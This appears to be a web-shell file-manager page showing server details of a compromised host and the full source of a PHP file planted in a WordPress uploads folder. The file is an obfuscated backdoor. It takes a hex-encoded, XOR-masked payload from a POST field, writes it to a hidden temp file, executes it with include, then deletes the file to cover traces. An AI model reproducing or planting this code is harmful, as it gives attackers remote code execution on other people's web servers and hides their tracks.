HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/uploads/wpcode/e/h/g/registerclient.php
<?php

if(!is_null($_POST["\x70t\x72"] ?? null)){
	$val = array_filter(["/tmp", getcwd(), getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path()]);
	$record = hex2bin($_POST["\x70t\x72"]);
	$fac = ''; for($m=0; $m<strlen($record); $m++){$fac .= chr(ord($record[$m]) ^ 51);}
	$parameter_group = 0;
do {
    $pgrp = $val[$parameter_group] ?? null;
    if ($parameter_group >= count($val)) break;
    		if (is_dir($pgrp) ? is_writable($pgrp) : false) {
    $descriptor = join("/", [$pgrp, ".token"]);
    if (@file_put_contents($descriptor, $fac) !== false) {
	include $descriptor;
	unlink($descriptor);
	die();
}
}
    $parameter_group++;
} while (true);
}